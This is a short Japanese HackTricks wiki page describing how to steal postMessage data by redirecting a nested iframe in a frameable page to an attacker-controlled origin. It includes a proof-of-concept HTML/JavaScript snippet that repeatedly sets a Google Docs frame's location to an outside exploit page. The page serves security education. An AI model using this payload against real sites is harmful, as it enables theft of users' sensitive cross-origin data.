mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
32 lines
1.4 KiB
Markdown
32 lines
1.4 KiB
Markdown
# Steal postmessage modifying iframe location
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## 子iframeの位置を変更する
|
||
|
||
[**この書き込み**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/)によると、X-Frame-Headerがないウェブページをiframeにでき、その中に別のiframeが含まれている場合、**その子iframeの位置を変更することができます**。
|
||
|
||
例えば、abc.comがefg.comをiframeとして持ち、abc.comにX-Frameヘッダーがない場合、**`frames.location`**を使用してefg.comをevil.comにクロスオリジンで変更することができます。
|
||
|
||
これは特に**postMessages**で有用です。なぜなら、ページが**ワイルドカード**を使用して機密データを送信している場合、例えば`windowRef.postmessage("","*")`のように、**関連するiframe(子または親)の位置を攻撃者が制御する場所に変更し、そのデータを盗むことが可能です**。
|
||
```html
|
||
<html>
|
||
<iframe src="https://docs.google.com/document/ID" />
|
||
<script>
|
||
//pseudo code
|
||
setTimeout(function () {
|
||
exp()
|
||
}, 6000)
|
||
|
||
function exp() {
|
||
//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created
|
||
setInterval(function () {
|
||
window.frames[0].frame[0][2].location =
|
||
"https://geekycat.in/exploit.html"
|
||
}, 100)
|
||
}
|
||
</script>
|
||
</html>
|
||
```
|
||
{{#include ../../banners/hacktricks-training.md}}
|